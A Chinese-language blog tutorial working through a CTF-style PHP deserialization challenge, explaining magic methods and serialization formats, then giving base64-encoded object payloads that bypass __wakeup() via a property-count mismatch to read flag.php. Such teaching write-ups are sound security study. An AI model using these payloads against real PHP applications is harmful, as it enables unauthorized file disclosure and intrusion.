C1imber's Blog

深入学习PHP反序列化漏洞-绕过_wakeup()函数

字数统计: 1.4k阅读时长: 5 min
2018/10/26 Share

深入学习PHP反序列化漏洞-绕过_wakeup()函数

题目代码

代码如下,要求利用php反序列化漏洞去读取flag.php文件中的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else die('Wrong filename.');
}}
function __wakeup(){ $this-> file='index.php'; }
public function __toString(){return '' ;}}
if (!isset($_GET['file'])){ show_source('index.php'); }
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file ); }
?> #<!--key in flag.php-->

php反序列化简单介绍

根据php官方文档的介绍,php反序列化用于在开发中存储或传递php的值,同时又不丢失其类型和结构,php当中和反序列化有关的两个重要函数,分别为serializeunserialize,这两个函数可以处理除resource(资源类型)之外的任何php数据类型,对php值进行序列化和反序列化操作

php反序列化漏洞

php反序列化本身其实是没有危害的,但是当对一个php对象进行序列化或者反序列化操作时,由于对象里面的一些魔术方法会在一些情况下被触发,刚好这些魔术方法里面调用了一些危害的函数并且函数的参数是我们可以控制的,就会产生预料之外的危害,有关php对象的一些常见魔术方法如下:

1
2
3
4
5
6
7
__construct//在对象创建时触发
__destruct//在对象销毁时触发
__sleep//在对象序列化之前触发
__wakeup//在反序列化还原对象之前触发
__toString//但对象被当作字符串时触发
__get//访问不可访问的属性时触发
...

具体看下面的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class test{
private $a="private";
protected $b="protected";
public $c="public";
function __construct()
{
echo "__construct</br>";
}
function __destruct()
{
echo "__destruct</br>";
}
function __toString()
{
return "__toString</br>";
}
function __sleep()
{
echo "__sleep</br>";
return array("a","b","c");
}
function __wakeup()
{
echo "__wakeup</br>";
}
function __get($a)
{
echo "__get</br>";
return $this->a;
}
}
$class=new test();//触发__construct,输出__construct
echo $class;//触发__toString,输出__toString
echo "</br>";
echo $class->a;//访问私有属性$a,触发__get,输出__get
echo "</br>";
$str=serialize($class);//触发__sleep,输出__sleep
echo $str;
echo "</br>";
$new_class=unserialize($str);//触发__wakeup,输出__wakeup
//程序结束对象被销毁,触发//destruct,输出__destruct,输出两次,分别销毁$class和$new_class两个对象
?>

该程序的输出结果如下

mark
需要注意的是privateprotectedpublic三个对象的属性经过序列化后的字符串格式是有区别的,这在构造POC的时候十分关键,通过抓包看到的序列化数据实际如下

1
2
3
4
O:4:"test":3:{s:7:"\00test\00a";s:7:"private";s:4:"\00*\00b";s:9:"protected";s:1:"c";s:6:"public";}
\\private属性序列化后:数据类型:属性名长度:"\00类名\00属性名";数据类型:属性值长度:"属性值";
\\protected属性序列化后:数据类型:属性名长度:"\00*\00属性名";数据类型:属性值长度:"属性值";
\\public属性序列化后:数据类型:属性名长度:"属性名";数据类型:属性值长度:"属性值";

其中常见的php数据类型对应的字母标识如下

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - non-escaped binary string
S - escaped binary string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

接着看上面的那道题,代码很明显存在php反序列化漏洞,题目要求利用php反序列化漏洞去读取与index.php同一目录下的flag.php,代码流程很简单,就是将传入的$_GET['file']参数经过base64解码后再进行反序列化,如果处理结果是该对象的一个序列化字符串,在进行反序列化的时候就会触发该对象的__wakeup方法,并在代码结束时触发该对象的__destruct方法,此时对象当中的$file变量被传入show_source,如果$file是一个文件名,就会显示出对应文件的源代码,$file变量又刚好是可控的,很容易构造出读取flag.php的payload

构造序列化字符串,设置对象的protected属性$file的值为flag.php

1
O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}

再经过base64编码

Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

将得到的base64字符串传入$_GET['file'],但是看到并没有显示出flag.php的源码,这里依旧显示的是index.php的源代码,原因就是传入的序列化字符串在反序列化的时候会触发对象的__wakeup魔术方法,而在__wakeup魔术方法中,将传入的$file属性值设置成了index.php,之后触发__destruct方法时,$file的值就变为了index.php,所以这里需要绕过__wakeup函数,这里需要利用__wakeup函数的一个漏洞

wakeup()函数漏洞

当序列化字符串当中属性个数值大于实际的属性个数时,就会导致反序列化异常,从而跳过__wakeup函数,具体的底层原理可以看下面的解释
mark

那么就可以构造序列化字符串

1
O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}

将对象属性的个数设置为2,而实际的属性个数为1,使其反序列化产生异常,从而绕过__wakeup函数,将序列化字符串进行base64编码后

Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

成功读取到了flag.php的源码
mark

CATALOG
  1. 1. 深入学习PHP反序列化漏洞-绕过_wakeup()函数
    1. 1.0.1. 题目代码
    2. 1.0.2. php反序列化简单介绍
    3. 1.0.3. php反序列化漏洞
    4. 1.0.4. wakeup()函数漏洞